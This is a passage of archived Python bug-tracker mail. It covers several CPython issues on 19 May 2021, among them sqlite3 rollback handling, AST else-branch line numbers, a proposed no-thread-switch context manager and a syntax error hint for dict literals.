3.6.5, rollbacks in SQLite 3.7.11). The sqlite3 module no longer reset commit statements (6ed442c48dd7f8d3097e688a36bc027df3271621), and there should be no need to reset rollbacks either (see bpo-44092). 2. A statement with ref count zero will be garbage collected. Thus, of a statement is dropped from the LRU cache, it will be sqlite3_finalize'd. No statement, no problem. It's the same effect as if _pysqlite_drop_unused_statement_references() used the same limit as the LRU cache. If we want to explicit reset statements (for some reason), we'd be better off to use sqlite3_stmt_next(). It's faster, and it covers _all_ statements for a given connection. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 06:04:59 2021 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 19 May 2021 10:04:59 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621418699.16.0.597253175198.issue44120@roundup.psfhosted.org> Vinay Sajip added the comment: The problem is caused by the "import logging" in bar/__init__.py, which causes bar.logging to not be found because it clashes with the stdlib logging package. If you change the statement to from . import logging then the error does not occur. So I don't think it is a bug, because it is caused by using a module name which is part of the stdlib in an ambiguous way. ---------- nosy: +vinay.sajip type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 06:15:20 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 10:15:20 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1621419320.01.0.137031586343.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : Removed file: https://bugs.python.org/file50029/patch.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 06:15:45 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 10:15:45 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1621419345.42.0.781612408403.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- Removed message: https://bugs.python.org/msg393367 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 06:15:40 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 10:15:40 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1621419340.3.0.0420867250751.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- Removed message: https://bugs.python.org/msg393339 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 06:25:11 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 10:25:11 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1621419911.77.0.983955793963.issue44092@roundup.psfhosted.org> Erlend E. Aasland added the comment: The effect of PR 26026 is that InterfaceError is no longer raised for fetch across rollback; instead it is up to SQLite how to handle this: - for some cases, SQLITE_ABORT or SQLITE_ABORT_ROLLBACK may be returned, which will result in an OperationalError (accompanied by a nice error message provided by SQLite) - for other cases, no error is returned; the operation is allowed and succeeds as expected - for yet other cases, no error is returned, and the operation was rolled back A NEWS entry should mention the change in behaviour, but I can't see how it would break existing projects; the current code disallows fetch across rollback (InterfaceError), so any problematic code would have been found, handled and fixed during debugging. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 06:42:54 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 10:42:54 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1621420974.78.0.765808122112.issue44092@roundup.psfhosted.org> Erlend E. Aasland added the comment: I've crafted a number of rollback tests, but it occurred to me that they are simply just testing SQLite behaviour; not sqlite3 behaviour. I had to adjust the tests according to which version of SQLite was used (for example 3.8.7.2 introduced new behaviour). Such tests are bound to break as SQLite evolves. I'm not sure we want such tests in our test suite; it can make the CI fail for completely unrelated PRs. Suggesting to leave detailed rollback testing to SQLite and just keep a couple of basic tests in our suite. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 07:13:31 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 11:13:31 +0000 Subject: [issue20587] sqlite3 converter not being called In-Reply-To: <1392069177.84.0.794324739968.issue20587@psf.upfronthosting.co.za> Message-ID: <1621422811.52.0.421605233954.issue20587@roundup.psfhosted.org> Erlend E. Aasland added the comment: I'm unable to reproduce this on 3.8 though 3.11a0. It's unclear to me if this even was an issue. (I have no ancient Python versions to test with.) Closing as out-of-date in a day or two, unless someone disagrees. ---------- nosy: +erlendaasland status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 07:16:15 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 11:16:15 +0000 Subject: [issue9924] sqlite3 SELECT does not BEGIN a transaction, but should according to spec In-Reply-To: <1285214166.49.0.269440190097.issue9924@psf.upfronthosting.co.za> Message-ID: <1621422975.52.0.330629374159.issue9924@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 07:31:16 2021 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 19 May 2021 11:31:16 +0000 Subject: [issue44177] Unable to get the else while parsing through AST module In-Reply-To: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org> Message-ID: <1621423876.15.0.179552341486.issue44177@roundup.psfhosted.org> Eric V. Smith added the comment: Formatting the result, I get: Module(body=[If(test=Compare(left=Name(id='num', ctx=Load()), ops=[Gt()], comparators=[Constant(value=0, kind=None)]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Positive number', kind=None)], keywords=[]))], orelse=[If(test=Compare(left=Name(id='num', ctx=Load()), ops=[Eq()], comparators=[Constant(value=0, kind=None)]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Zero', kind=None)], keywords=[]))], orelse=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Negative number', kind=None)], keywords=[]))])])], type_ignores=[]) You'll have to extract the "else" part by walking the tree yourself. > I was parsing python file using AST module but ran into a situation where the else statement is not found in the parsed data. It is in the parsed data, though. Just not directly in the "If" node. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 07:48:15 2021 From: report at bugs.python.org (Catherine Devlin) Date: Wed, 19 May 2021 11:48:15 +0000 Subject: [issue24929] _strptime.TimeRE should not enforce range in regex In-Reply-To: <1440452349.29.0.876134082373.issue24929@psf.upfronthosting.co.za> Message-ID: <1621424895.89.0.929648697568.issue24929@roundup.psfhosted.org> Catherine Devlin added the comment: Can we close the ticket? It doesn't sound like we're going to go with anything like this approach. If there's a good place to record the general ambitions (better strptime tests, more clear strptime errors), that would be good, but I don't think we use tickets for that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 08:00:32 2021 From: report at bugs.python.org (Bikram Singh Mehra) Date: Wed, 19 May 2021 12:00:32 +0000 Subject: [issue44177] Unable to get the else while parsing through AST module In-Reply-To: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org> Message-ID: <1621425632.0.0.685921657186.issue44177@roundup.psfhosted.org> Bikram Singh Mehra added the comment: Hi Eric, Thanks for the quick response here, I have gone through your suggestion but following that I am able to print the else node data i.e. "print("Negative number")" but unable to get the lineno of that else child node. Could you please confirm if there is a way in AST where I can get the lineno of the else child node. Thanks and Best Regards, Bikram ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 08:14:41 2021 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 19 May 2021 12:14:41 +0000 Subject: [issue44177] Unable to get the else while parsing through AST module In-Reply-To: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org> Message-ID: <1621426481.53.0.35897033985.issue44177@roundup.psfhosted.org> Eric V. Smith added the comment: It's in the AST. >>> tree.body[0].orelse[0].orelse[0].lineno 7 To see it with dump, use: ast.dump(tree, include_attributes=True) Which, after some reformatting, gives: Module(body=[If(test=Compare(left=Name(id='num', ctx=Load(), lineno=2, col_offset=3, end_lineno=2, end_col_offset=6), ops=[Gt()], comparators=[Constant(value=0, kind=None, lineno=2, col_offset=9, end_lineno=2, end_col_offset=10)], lineno=2, col_offset=3, end_lineno=2, end_col_offset=10), body=[Expr(value=Call(func=Name(id='print', ctx=Load(), lineno=3, col_offset=4, end_lineno=3, end_col_offset=9), args=[Constant(value='Positive number', kind=None, lineno=3, col_offset=10, end_lineno=3, end_col_offset=27)], keywords=[], lineno=3, col_offset=4, end_lineno=3, end_col_offset=28), lineno=3, col_offset=4, end_lineno=3, end_col_offset=28)], orelse=[If(test=Compare(left=Name(id='num', ctx=Load(), lineno=4, col_offset=5, end_lineno=4, end_col_offset=8), ops=[Eq()], comparators=[Constant(value=0, kind=None, lineno=4, col_offset=12, end_lineno=4, end_col_offset=13)], lineno=4, col_offset=5, end_lineno=4, end_col_offset=13), body=[Expr(value=Call(func=Name(id='print', ctx=Load(), lineno=5, col_offset=4, end_lineno=5, end_col_offset=9), args=[Constant(value='Zero', kind=None, lineno=5, col_offset=10, end_lineno=5, end_col_offset=16)], keywords=[], lineno=5, col_offset=4, end_lineno=5, end_col_offset=17), lineno=5, col_offset=4, end_lineno=5, end_col_offset=17)], orelse=[Expr(value=Call(func=Name(id='print', ctx=Load(), lineno=7, col_offset=4, end_lineno=7, end_col_offset=9), args=[Constant(value='Negative number', kind=None, lineno=7, col_offset=10, end_lineno=7, end_col_offset=27)], keywords=[], lineno=7, col_offset=4, end_lineno=7, end_col_offset=28), lineno=7, col_offset=4, end_lineno=7, end_col_offset=28)], lineno=4, col_offset=0, end_lineno=7, end_col_offset=28)], lineno=2, col_offset=0, end_lineno=7, end_col_offset=28)], type_ignores=[])" I don't think there's any enhancement to be made here, so I'm going to close this issue. ---------- resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 08:18:33 2021 From: report at bugs.python.org (Xavier Morel) Date: Wed, 19 May 2021 12:18:33 +0000 Subject: [issue44178] Add an interpreter-level critical section construct Message-ID: <1621426713.21.0.828685128868.issue44178@roundup.psfhosted.org> New submission from Xavier Morel : Python code uses a fair amount of globals, and sometimes there's no good choice but to do dodgy things and temporarily update global state for one reason or another e.g. redirect a standard fd or stream (cf redirect_stdout), monkey-patch a builtin to intercept some behaviour, etc... One issue with this is, if the program is multithreaded there is no real way to prevent the interpreter from suspending the current thread *while doing the dodgy thing*. The only interpreter-level global lock would be the GIL, and while native extension can just not release the GIL this is not an option for Python code (as far as I know). `sys` does provide getswitchinterval()/setswitchinterval() (and under the old GIL had getcheckinterval()/setcheckinterval()), but the semantics of these functions is a bit obscure (e.g. does `sys.setcheckinterval` update the *current* time slice os is the current thread doomed? can it fail? what happens if it does?) and they feel extremely uncomfortable. As such, having a context manager which would explicitly but only prevent thread switching while it's held would be valuable. Assuming `setswitchinginterval` operates on the "current" timeslice, this would not provide any more misbehaving powers as any code can already call `sys.setswitchinterval(sys.maxsize)` (unless there are already mitigation systems in-place), and the contextmanager could just do that internally if that is the "correct" way to prevent thread switching under the current scheme. The one thing which is not great is that this scheme might not really work under GILectomy, but then neither does switchinterval I think. ---------- components: Interpreter Core messages: 393951 nosy: xmorel priority: normal severity: normal status: open title: Add an interpreter-level critical section construct type: enhancement versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 08:22:46 2021 From: report at bugs.python.org (liaoliaoxiansheng) Date: Wed, 19 May 2021 12:22:46 +0000 Subject: =?utf-8?b?W2lzc3VlNDQxNzldIHB5dGhvbjMg57uI56uvIHJhbmdl5Ye95pWw5pi+56S6?= =?utf-8?b?6ZSZ6K+v?= Message-ID: <1621426966.53.0.562185354659.issue44179@roundup.psfhosted.org> New submission from liaoliaoxiansheng <1041585384 at qq.com>: [root at ct7-2 bin]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) [root at ct7-2 bin]# python2 Python 2.7.5 (default, Nov 16 2020, 22:23:17) [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> range(5, 10) [5, 6, 7, 8, 9] >>> range(0, 10, 3) [0, 3, 6, 9] >>> range(-10, -100, -30) [-10, -40, -70] >>> [root at ct7-2 bin]# python3 Python 3.9.5 (default, May 19 2021, 19:38:48) [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> range(5, 10) range(5, 10) >>> range(0, 10, 3) range(0, 10, 3) >>> range(-10, -100, -30) range(-10, -100, -30) ---------- assignee: docs at python components: Documentation messages: 393952 nosy: docs at python, happy789450 priority: normal severity: normal status: open title: python3 ?? range?????? type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 08:25:12 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 19 May 2021 12:25:12 +0000 Subject: =?utf-8?b?W2lzc3VlNDQxNzldIHB5dGhvbjMg57uI56uvIHJhbmdl5Ye95pWw5pi+56S6?= =?utf-8?b?6ZSZ6K+v?= In-Reply-To: <1621426966.53.0.562185354659.issue44179@roundup.psfhosted.org> Message-ID: <1621427112.66.0.280848118684.issue44179@roundup.psfhosted.org> Christian Heimes added the comment: In Python 3 the range() builtin returns an iterator, not a list of items. You have to exhaust the iterator to get a list of iterator items. >>> list(range(-10, -100, -30)) [-10, -40, -70] ---------- nosy: +christian.heimes resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 09:31:12 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 May 2021 13:31:12 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621431072.56.0.176526885935.issue44131@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +24858 pull_request: https://github.com/python/cpython/pull/26241 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 09:31:12 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 May 2021 13:31:12 +0000 Subject: [issue42591] Method Py_FrozenMain missing in libpython3.9 In-Reply-To: <1607356833.89.0.498069278584.issue42591@roundup.psfhosted.org> Message-ID: <1621431072.48.0.331935087314.issue42591@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +24857 pull_request: https://github.com/python/cpython/pull/26241 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 09:31:12 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 May 2021 13:31:12 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1621431072.37.0.893753498321.issue43795@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +24856 pull_request: https://github.com/python/cpython/pull/26241 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 09:32:02 2021 From: report at bugs.python.org (Isaac Ge) Date: Wed, 19 May 2021 13:32:02 +0000 Subject: [issue44175] What do "cased" and "uncased" mean? In-Reply-To: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> Message-ID: <1621431122.01.0.478316810605.issue44175@roundup.psfhosted.org> Isaac Ge added the comment: Why does "a".istitle() return "False" while it is not followed by any uncased character? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 10:53:54 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 19 May 2021 14:53:54 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621436034.35.0.804361939054.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: > Just to clarify, is the proposal to return a > regular tuple instead of named tuple? No, it should still have named fields. Either Line or LinearRegression would suffice. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 11:17:29 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 May 2021 15:17:29 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621437449.58.0.25375113964.issue44099@roundup.psfhosted.org> Petr Viktorin added the comment: First off, note that you can use PyModule_AddType rather than PyModule_AddObject to avoid repeating the name. Adding this *correctly* will be somewhat involved: slots take function pointers, not data pointers which are incompatible according to standard C. The changes will also need to keep backwards compatibility. ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 11:27:56 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 19 May 2021 15:27:56 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621438076.52.0.309277693692.issue44099@roundup.psfhosted.org> Shreyan Avigyan added the comment: Yes and it wouldn't be a problem. If struct member is 0 or NULL then use default behavior. If not then apply PyModule_AddType or PyModule_AddObject on all of those. Then after finishing set slot to NULL again since we don't want to add a type more than once. And yes after this also anyone can add more types. This will just introduce a handy way to add types. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 12:44:40 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 16:44:40 +0000 Subject: [issue29298] argparse fails with required subparsers, un-named dest, and empty argv In-Reply-To: <1484664769.91.0.625725054847.issue29298@psf.upfronthosting.co.za> Message-ID: <1621442680.73.0.395235957974.issue29298@roundup.psfhosted.org> Irit Katriel added the comment: crash means segfault, not unhandled exception. ---------- nosy: +iritkatriel type: crash -> behavior versions: +Python 3.10, Python 3.11 -Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 13:07:22 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 17:07:22 +0000 Subject: [issue40811] Allow to create new Event Loops on Threads In-Reply-To: <1590688479.36.0.418054824205.issue40811@roundup.psfhosted.org> Message-ID: <1621444042.17.0.874939033894.issue40811@roundup.psfhosted.org> Irit Katriel added the comment: Should this be closed as rejected or is there further discussion? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 13:13:52 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 19 May 2021 17:13:52 +0000 Subject: [issue44174] Unclear meaning of _Private__names in enum docs. In-Reply-To: <1621394869.98.0.78361930377.issue44174@roundup.psfhosted.org> Message-ID: <1621444432.17.0.0210939732207.issue44174@roundup.psfhosted.org> Ethan Furman added the comment: Looks good. Patches welcome. :-) ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 13:15:13 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 17:15:13 +0000 Subject: [issue40975] contextlib.AsyncExitStack enter_async_context and aclose should be labeled as coroutine methods In-Reply-To: <1592137610.97.0.667816309601.issue40975@roundup.psfhosted.org> Message-ID: <1621444513.72.0.110840495562.issue40975@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 13:44:10 2021 From: report at bugs.python.org (menschel) Date: Wed, 19 May 2021 17:44:10 +0000 Subject: [issue42653] Expose ISO-TP Contants for Linux >= 5.10 In-Reply-To: <1608110351.71.0.562655830578.issue42653@roundup.psfhosted.org> Message-ID: <1621446250.71.0.909818732291.issue42653@roundup.psfhosted.org> Change by menschel : ---------- keywords: +patch nosy: +menschel nosy_count: 1.0 -> 2.0 pull_requests: +24859 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26174 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 14:03:18 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 18:03:18 +0000 Subject: [issue44168] Wrong syntax error hint when spurious colon present in function keyword comprehension assignment In-Reply-To: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org> Message-ID: <1621447398.47.0.218885853712.issue44168@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24860 pull_request: https://github.com/python/cpython/pull/26247 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 14:09:24 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 May 2021 18:09:24 +0000 Subject: [issue44168] Wrong syntax error hint when spurious colon present in function keyword comprehension assignment In-Reply-To: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org> Message-ID: <1621447764.51.0.282023838789.issue44168@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24861 pull_request: https://github.com/python/cpython/pull/26250 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 14:13:27 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 May 2021 18:13:27 +0000 Subject: [issue44168] Wrong syntax error hint when spurious colon present in function keyword comprehension assignment In-Reply-To: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org> Message-ID: <1621448007.81.0.935657064628.issue44168@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 14:25:08 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Wed, 19 May 2021 18:25:08 +0000 Subject: [issue42722] Add --debug command line option to unittest to enable post-mortem debugging In-Reply-To: <1608680811.32.0.033035519481.issue42722@roundup.psfhosted.org> Message-ID: <1621448708.06.0.425656177286.issue42722@roundup.psfhosted.org> Andrei Kulakov added the comment: This is a duplicate of https://bugs.python.org/issue18765, which already has some discussion going for a few years, so please follow up there. ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 14:27:06 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 May 2021 18:27:06 +0000 Subject: [issue44168] Wrong syntax error hint when spurious colon present in function keyword comprehension assignment In-Reply-To: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org> Message-ID: <1621448826.36.0.417669807908.issue44168@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset d4a9264ab899b4f3088b5afad8956123924a5ab1 by Pablo Galindo in branch '3.9': [3.9] bpo-44168: Fix error message in the parser for keyword arguments for invalid expressions (GH-26210) (GH-26250) https://github.com/python/cpython/commit/d4a9264ab899b4f3088b5afad8956123924a5ab1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 14:28:35 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 May 2021 18:28:35 +0000 Subject: [issue44168] Wrong syntax error hint when spurious colon present in function keyword comprehension assignment In-Reply-To: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org> Message-ID: <1621448915.12.0.822259270088.issue44168@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset ec0699c044b4272a1face752fd39b8230f96c0da by Miss Islington (bot) in branch '3.10': bpo-44168: Fix error message in the parser for keyword arguments for invalid expressions (GH-26210) (GH-26247) https://github.com/python/cpython/commit/ec0699c044b4272a1face752fd39b8230f96c0da ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 14:38:05 2021 From: report at bugs.python.org (Andre Roberge) Date: Wed, 19 May 2021 18:38:05 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal Message-ID: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> New submission from Andre Roberge : When an equal sign is used instead of a colon in creating a dict literal, depending on the context, either the "bad token" is misidentified OR the would-be helpful error message is incorrect in this particular case. 1) Example of bad token. Previously, the = sign was identified correctly: >>> ages = {'Alice'=22, 'Bob'=23} File "", line 1 ages = {'Alice'=22, 'Bob'=23} ^ SyntaxError: invalid syntax With Python 3.10.0b1, the comma is identified as the bad token: >>> ages = {'Alice'=22, 'Bob'=23} File "", line 1 ages = {'Alice'=22, 'Bob'=23} ^ SyntaxError: invalid syntax 2) Example of incorrect error message Previously, we got the traditional and unhelpful "invalid syntax" but with the bad token identified correctly: >>> ages = {'Alice'=22} File "", line 1 ages = {'Alice'=22} ^ SyntaxError: invalid syntax With Python 3.10.0b1, we get the following: >>> ages = {'Alice'=22} File "", line 1 ages = {'Alice'=22} ^^^^^^^ SyntaxError: cannot assign to literal here. Maybe you meant '==' instead of '='? I suspect that the ratio (== suggestion correct/ : suggestion correct) would be vanishingly small. ;-) ---------- components: Parser messages: 393964 nosy: aroberge, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:09:06 2021 From: report at bugs.python.org (Ned Deily) Date: Wed, 19 May 2021 19:09:06 +0000 Subject: [issue42722] Add --debug command line option to unittest to enable post-mortem debugging In-Reply-To: <1608680811.32.0.033035519481.issue42722@roundup.psfhosted.org> Message-ID: <1621451346.4.0.541755780619.issue42722@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:14:32 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 19 May 2021 19:14:32 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621451672.12.0.704482034842.issue44180@roundup.psfhosted.org> Shreyan Avigyan added the comment: The bad token example needs a fix but the second is actually ok because we have another type we write within curly braces "{" and there the error is actually perfect. Like if we follow the error message, we use ages = {'Alice'==22} And we actually get a "set" with the first value as False. Sets behaves syntactically like list but have different behaviors of mathematical sets. ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:31:12 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 May 2021 19:31:12 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621452672.19.0.644282039438.issue44180@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I have an idea of what's causing the first one, but the second I am not sure we can detect easily we are in that case. Do you have a suggestion for what to place in the second case? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:34:40 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 19 May 2021 19:34:40 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621452880.67.0.599383007941.issue44180@roundup.psfhosted.org> Shreyan Avigyan added the comment: I'm don't the second is a problem at all. What the error message is suggesting is perfect since it doesn't know if we're trying to use a set or dict. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:35:29 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 19 May 2021 19:35:29 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621452929.97.0.482592703033.issue44180@roundup.psfhosted.org> Shreyan Avigyan added the comment: Sorry for the typos. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:35:02 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 May 2021 19:35:02 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621452902.77.0.553891476624.issue44180@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +24862 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26253 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:37:55 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 May 2021 19:37:55 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621453075.8.0.667962199434.issue44180@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I don't know, it think is more likely that people are triying to use the "=" as a ":" and constructing a literal. Is not a bad error, but I think is not the best one ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:41:46 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 19 May 2021 19:41:46 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: 